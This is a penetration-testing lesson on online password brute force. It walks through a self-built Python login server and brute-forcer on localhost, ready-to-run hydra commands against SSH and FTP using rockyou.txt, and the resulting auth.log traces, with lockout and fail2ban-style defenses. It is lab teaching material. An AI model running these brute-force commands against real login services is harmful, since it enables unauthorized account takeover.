Penetration testing
Step 122. Password Attack 1: hydra Online Brute Force — An Attack That Knocks on a Living Door
Level 2 — Introduction to Security and Attack Skill Basics | Difficulty ★★★☆☆ | Estimated time: 3 hours
Prerequisites: You’ve completed Steps 119–121. You can hold network conversations with nc and Python, and you know that attacks leave traces in logs.
- What you need: Kali and MS2 (or a single Kali machine + Python 3), a text editor
- Caution: ⚠️ All exercises in this chapter are for your own lab and legal platforms only. Applying them to unauthorized systems is a crime.
There are two roads for attacking passwords. The online attack keeps trying candidates against a living login form; the offline attack steals a hash file and tries endlessly on your own computer. Today is the former. Online attacks are slow, everything gets recorded in server logs, and account lockouts stop them — so in the field they’re a last resort, but against passwords like 123456 they’re still powerful. Today we experience this attack from two viewpoints: shake a login server you built yourself with a brute-forcer you built yourself (measured), then compromise MS2 with the industry-standard tool hydra.
1. Learning Objectives
By the end of this chapter, you will be able to:
- Explain the principle of online brute force (wordlist submission) with a tool you built yourself
- Measure attempt speed and convert the time a large wordlist would take
- Read the traces an attack leaves in server logs and connect them to defenses
- Compromise an SSH login with hydra’s basic syntax (
-l,-L,-P,-t) - State three reasons why online attacks are a "last resort"
2. Background Knowledge — Today’s Tools and Concepts
Today’s Tools at a Glance
| Category | Details |
|---|---|
| Language/environment | Kali shell + Python 3 (http.server, urllib — no installation needed) + hydra |
| Today’s commands | hydra -l account -P list service://IP, head, gunzip |
| Concepts needed | Wordlists, online vs. offline, account lockout, attempt-speed conversion |
| Today’s artifact | A toy login server + a brute-forcer + an attack log + a hydra success record |
2-1. The True Nature of Online Brute Force
The principle is simple. Put password candidates into a login form one at a time and watch the server’s answer (success/failure). The candidate list is called a wordlist. Trying every possible combination (true brute force) is unrealistic, so a real-world wordlist is a ranking chart of "what people actually use."
The key point is this: each and every attempt is a real login that crosses the network and passes the server’s judgment. That’s why it’s slow, recorded, and blockable.
2-2. rockyou.txt — The Industry-Standard Wordlist
In 2009, 32 million plaintext passwords leaked from the social service RockYou, and that actual list, cleaned up, survives as rockyou.txt (about 14.34 million lines). Kali carries it as /usr/share/wordlists/rockyou.txt.gz (compressed). Look at the front with head and you’ll see 123456, password, 123456789… — humanity’s password habits laid bare. This is why attackers use this list as their first weapon, and why the strength checker you built in Step 49 had a "common password warning."
2-3. The Triangle of Speed, Detection, and Lockout
The three weaknesses of online attacks:
- Slow: every attempt needs a network round trip plus server processing. In today’s measurement, even inside my own computer it was 18.3ms per attempt. Across the internet, 100ms or more is typical.
- Recorded: every failed login is logged. Consecutive failures from the same address is the textbook pattern of a detection rule.
- Locked: one policy like "lock after 5 failures" stops the attack — and the lockout itself becomes an alert to the defender.
Because of these three, online brute force is a limited tool aimed at "a few hundred common passwords up front."
2-4. hydra Syntax — Anatomy of a Single Line
hydra -l msfadmin -P /usr/share/wordlists/rockyou.txt ssh://MS2_IP
-l msfadmin: when the username is fixed to one-L users.txt: when you also rotate through a list of usernames-P rockyou.txt: the password wordlist-t 4: number of parallel attempts (more is faster but noisier)ssh://MS2_IP: the target service and address. Dozens of services supported — ftp, http-post-form, and more
Add -V to see each attempt on screen — keep it on at first and watch.
3. Follow Along
3-1. The Mock Target — Building a Toy Login Server
To honestly measure the "speed and traces" of online attacks, we need a login server we control. We build it with only the Python standard library (runs as-is on Kali’s Python 3. This textbook measured it on 2026-09-09).
Input (login_server.py)
import json, time
from http.server import BaseHTTPRequestHandler, HTTPServer
REAL_PASSWORD = "sunshine"
LOG_PATH = "login_attempts.log"
class LoginHandler(BaseHTTPRequestHandler):
def do_POST(self):
length = int(self.headers.get("Content-Length", 0))
data = json.loads(self.rfile.read(length).decode())
user = data.get("username", "")
pw = data.get("password", "")
ok = (user == "admin" and pw == REAL_PASSWORD)
with open(LOG_PATH, "a", encoding="utf-8") as fp:
fp.write(f"{time.strftime('%H:%M:%S')} attempt: {user} / {pw} -> {'success' if ok else 'fail'}n")
self.send_response(200 if ok else 401)
self.end_headers()
self.wfile.write(b"OK" if ok else b"FAIL")
def log_message(self, *args):
pass
if __name__ == "__main__":
print("Login server started: http://127.0.0.1:9090 (admin / ???)")
HTTPServer(("127.0.0.1", 9090), LoginHandler).serve_forever()
How to read it: admin’s password is sunshine. There are two key points — failures go through the same judgment as successes (network round trip + comparison), and every attempt is recorded in a log file. Those two lines are the entire worldview of online attacks. Keep it bound to 127.0.0.1 only.
3-2. The Wordlist — A Miniature rockyou
Let’s make a small list imitating the real rockyou’s top ranks.
Input (wordlist.txt)
123456
password
123456789
12345678
12345
qwerty
abc123
football
monkey
letmein
dragon
111111
baseball
iloveyou
trustno1
master
sunshine
ashley
bailey
shadow
superman
qazwsx
michael
admin
How to read it: the answer sunshine is hiding on line 17. In the real rockyou, sunshine is a regular in the top 20 — the order of this list is the leak statistics themselves.
3-3. The Brute-Forcer — Opening on the Seventeenth Door
Input (bruteforce.py)
import json, time, urllib.request, urllib.error
HOST = "http://127.0.0.1:9090"
def try_login(user, pw):
body = json.dumps({"username": user, "password": pw}).encode()
req = urllib.request.Request(HOST, data=body, headers={"Content-Type": "application/json"})
try:
urllib.request.urlopen(req, timeout=3)
return True
except urllib.error.HTTPError as e:
if e.code == 401:
return False
raise
if __name__ == "__main__":
words = [l.strip() for l in open("wordlist.txt", encoding="utf-8") if l.strip()]
start = time.time()
for i, pw in enumerate(words, 1):
if try_login("admin", pw):
print(f"[+] Breached on attempt {i}! admin / {pw}")
break
else:
print("[-] Wordlist exhausted — failed")
elapsed = time.time() - start
print(f"attempts {i}, {elapsed:.2f}s, {elapsed / i * 1000:.1f}ms per attempt")
Run
python3 login_server.py & # terminal 1
python3 bruteforce.py # terminal 2
Output (measured 2026-09-09):
[+] Breached on attempt 17! admin / sunshine
attempts 17, 0.31s, 18.3ms per attempt
How to read it: record three numbers — 17th attempt, 0.31 seconds, 18.3ms per attempt. Even inside the same computer, it’s 18ms per attempt. Let’s convert with this number. Running all of rockyou (about 14.34 million entries) at this speed takes about 73 hours (3 days). Against an internet target at 100ms per attempt, about 16 days. And during those 16 days, 14.34 million lines of failure pile up in the other side’s log. The time and traces of an online attack come out of this one line of arithmetic.
Why: hydra is this script plus protocol knowledge (SSH, FTP, web forms…) and parallelization. Now that you’ve built the principle yourself, you can read hydra’s output too.
3-4. The Defender’s Screen — Reading the Attack Log
Input
cat login_attempts.log
Output (measured 2026-09-09):
15:14:08 attempt: admin / 123456 -> fail
15:14:08 attempt: admin / password -> fail
15:14:08 attempt: admin / 123456789 -> fail
(omitted — 15 more)
15:14:09 attempt: admin / sunshine -> success
How to read it: every password the attacker tried remains, in order, with timestamps. If you wrote a defense rule yourself, what would it be? A condition like "5+ failures on the same account within a minute" comes naturally — that’s exactly what tools like fail2ban do. And here’s why the final "success" line is horrifying: the moment the attacker got in is in the log too.
3-5. Compromising MS2 SSH with hydra (lab practice, screen examples)
Work in your own Kali↔MS2 lab. The outputs are screen examples.
Preparing the wordlist
ls /usr/share/wordlists/
sudo gunzip /usr/share/wordlists/rockyou.txt.gz # if it's compressed
head /usr/share/wordlists/rockyou.txt
123456
12345
123456789
password
iloveyou
...
The attack
hydra -l msfadmin -P /usr/share/wordlists/rockyou.txt ssh://MS2_IP
[22][ssh] host: MS2_IP login: msfadmin password: msfadmin
1 of 1 target successfully completed, 1 valid password found
How to read it: MS2’s default account msfadmin/msfadmin sits near the front of the wordlist, so it’s caught quickly. When you don’t know the username either, rotate a list with -L users.txt, and tune parallel attempts with -t 4. If it doesn’t work, watch the attempts with -V.
Checking the traces (on the MS2 side)
sudo tail /var/log/auth.log
Failed password for msfadmin from KALI_IP port 51234 ssh2
Failed password for msfadmin from KALI_IP port 51236 ssh2
...
Accepted password for msfadmin from KALI_IP port 51402 ssh2
How to read it: the same picture as our log in 3-4. Dozens to hundreds of Failed lines, then one Accepted line. Confirming in the lab that "online attacks are noisy" is the heart of today’s mission.
4. Missions & Exercises
Mission — Measuring Speed and Designing Defenses
- Complete the server and brute-forcer from 3-1~3-3, and record the attempt count, total time, and time per attempt
- Grow the wordlist to 100 entries, move the answer to the very end, and measure the worst case (trying all of them)
- Using your measurements, calculate "how many days to run all 14.34 million rockyou entries?" and write it in your notes
- Compromise MS2 SSH with hydra, and copy your attack traces from MS2’s auth.log into your notes
- Design three "defense rules that stop this attack" and write them down (even better: implement them in the login server yourself)
Exercises
Exercise 1. Explain why online brute force is slow from the perspective of "the cost of a single attempt."
Exercise 2. State how a wordlist attack differs from true brute force (all combinations), and why it’s still powerful.
Exercise 3. In the hydra syntax hydra -l msfadmin -P rockyou.txt -t 4 ssh://IP, state the role of each of -l, -P, and -t.
Exercise 4. State the two blows an account lockout policy (lock after 5 failures) deals to an attacker.
Answers & completion criteria · expand/collapse
5. Model Answers & Completion Criteria
Mission Model Answer
Conversion example (based on the 2026-09-09 measurement): 18.3ms per attempt × 14,340,000 entries ≈ 262,000 seconds ≈ about 73 hours (3 days). On a network at 100ms per attempt, about 398 hours (about 16 days). Example conclusion sentence: "Running the entire wordlist online is unrealistic; in the field it’s a limited tool aimed at only the top few hundred common passwords."
Three example defense rules: ① lock the account or increase the delay after consecutive failures, ② block a source address with consecutive failures (the fail2ban approach), ③ force passwords themselves to be long ones not in wordlists (strength checks at signup — the Step 49 tool is used here).
How to verify: ① are the measured numbers (count, time, ms per attempt) recorded? ② does the conversion formula start from measured values? ③ is there an auth.log excerpt? ④ do the defense rules touch "monitoring/limiting login attempts"?
Exercise Answers
Answer 1. Because each attempt must wait for a network round trip plus the server’s real authentication processing (response generation). In the measurement, even inside the same computer it was 18.3ms per attempt, and remotely 100ms or more is typical. Since "cost per attempt × number of candidates" is the total time, the bigger the candidate set, the more rapidly online becomes unrealistic.
Answer 2. True brute force tries every combination; a wordlist attack tries a ranking chart of passwords people actually used. Why it’s powerful: passwords aren’t uniformly distributed but extremely skewed (123456, password…), so a few hundred top entries open a significant share of accounts. However high the mathematical combination count, "things easy for a human to remember" are inside the dictionary.
Answer 3. -l is one fixed username (for a list, -L), -P is the password wordlist file, and -t is the number of parallel attempts (degree of parallelism). The trailing ssh://IP is the target service and address.
Answer 4. First, the attempts themselves stop, making the attack physically unable to proceed. Second, the lockout event generates logs and alerts, revealing the attack’s existence to the defender. For an attacker, a lockout is a double loss of "wasted time + detection."
Completion Criteria Checklist
- [ ] I built the toy login server and brute-forcer myself and broke through
- [ ] I measured time per attempt and converted the cost of a large wordlist
- [ ] I confirmed the attack remains in the server log and can quote it
- [ ] I can assemble hydra’s basic syntax (-l/-L/-P/-t)
- [ ] I compromised MS2 SSH and checked the auth.log traces in the lab
- [ ] I can state the three weaknesses of online attacks (slow, recorded, locked)
- [ ] I designed three defense rules
6. Common Pitfalls & Fixes
Wall 1. The brute-forcer dies on the first attempt
Symptom: urllib.error.URLError: <urlopen error [WinError 10061] ...> or Connection refused.
Cause: the login server isn’t running, or the port is different.
Fix: check that python3 login_server.py is up and that both sides use the same port (9090). The server must be started first.
Wall 2. hydra keeps printing only failures
Symptom: it’s definitely msfadmin/msfadmin, but it doesn’t get caught.
Cause: the answer may not be in the wordlist (including pointing at the .gz before decompressing), the service specification may be wrong, or SSH may be down.
Fix: add -V to watch each attempt. First check that a banner comes back with nc MS2_IP 22 (Step 119), and verify the wordlist file is decompressed to text (check with head).
Wall 3. I keep confusing hydra’s syntax
Symptom: the option order and symbols (-l/-L, -p/-P) get mixed up.
Cause: memorize one rule and you’re done — lowercase means "one value," uppercase means "a file (list)." -l one username, -L username file, -p one password, -P password file.
Fix: preserve the skeleton hydra -l account -P list service://IP whole in your notes.
Wall 4. The attack stops midway — a lockout got me
Symptom: from some point on, everything fails or the connection drops.
Cause: the target’s account lockout or a firewall block may have fired. That’s a normal defensive reaction.
Fix: in a lab, reset the target and lower -t to go slower. In the field (an authorized test), the lockout firing is itself evidence to write in the report — "the defenses worked."
Wall 5. The wordlist passes "too well" and it’s suspicious
Symptom: it succeeds immediately on the first word, 123456.
Cause: such accounts really exist — practice labs like MS2 are deliberately built weak.
Fix: it’s normal. But record it — "opened on the first attempt" is the single most powerful line in a report, and a staple finding of first-pass assessments in real work.
7. Summary
Today’s Concepts
| Concept | One-line explanation |
|---|---|
| Online brute force | An attack that submits candidates to a living login — slow, recorded, and lockable |
| Wordlist | A ranking chart of passwords people actually use (rockyou.txt ≈ 14.34 million entries) |
| Cost per attempt | Network round trip + server authentication processing — determines online attack time |
| Account lockout | A defense that stops logins after consecutive failures — halts the attack + alerts the defender |
| fail2ban-style defense | Tools that watch log failure patterns and block the source |
Today’s Commands
| Command | What it does |
|---|---|
sudo gunzip /usr/share/wordlists/rockyou.txt.gz |
Decompress the wordlist |
head /usr/share/wordlists/rockyou.txt |
Tour humanity’s password habits |
hydra -l account -P list ssh://IP |
SSH online brute force |
hydra -L users.txt -P list -t 4 ftp://IP |
Account list + parallelism tuning |
-V (hydra option) |
Watch the attempt process in detail |
sudo tail /var/log/auth.log |
Check attack traces (on the target) |
An Instinct More Important Than Commands
Today’s key numbers are "18.3ms per attempt" and "17th." To an attacker these numbers are time calculation; to a defender they’re a detection window. And because online attacks are this slow and noisy, attackers try to steal the hash file itself and take it offline — in that offline world, speed and quiet work by completely different rules.
The defender’s conclusion is clear. Have the server record every attempt, set lockout and blocking rules, and require users to choose long passwords that aren’t in wordlists. Just as the brute-forcer you made today exhausted a 24-word dictionary in 0.31 seconds, an undefended short password is a matter not of time but of order.
Once every box is checked, Step 122 is complete.
ONE STEP FURTHER
Finished this lesson?
Check the completion criteria, then mark your progress.